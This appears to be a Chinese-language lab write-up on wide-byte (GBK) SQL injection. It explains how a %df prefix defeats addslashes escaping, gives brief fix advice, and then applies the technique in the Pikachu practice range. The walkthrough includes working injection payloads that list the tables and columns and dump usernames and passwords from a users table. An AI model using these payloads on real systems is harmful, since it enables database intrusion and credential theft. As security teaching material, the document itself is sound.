宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询。
在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),也可能导致注入产生
修复建议:
(1)使用mysqli_set_charset(GBK)指定字符集
(2)使用mysqli_real_escape_string进行转义
练习部分
打开pikachu靶场宽字节注入部分。输入allen发现弹回了allen的信息。
用burpsite抓包可见我们发送的name信息和submit信息。
我们根据原理中提到的信息,在单引号前加%df号,构造代码
name=allen%df' or 1=1#
输入在bp的repeater中发送,成功让数据库输出数据。
查询表名
name=allen%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#
查询users列名
name=allen%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#
查询users下的password信息
name=allen%df' union select (select group_concat(username,0x3b,password) from users),2#
该漏洞利用成功。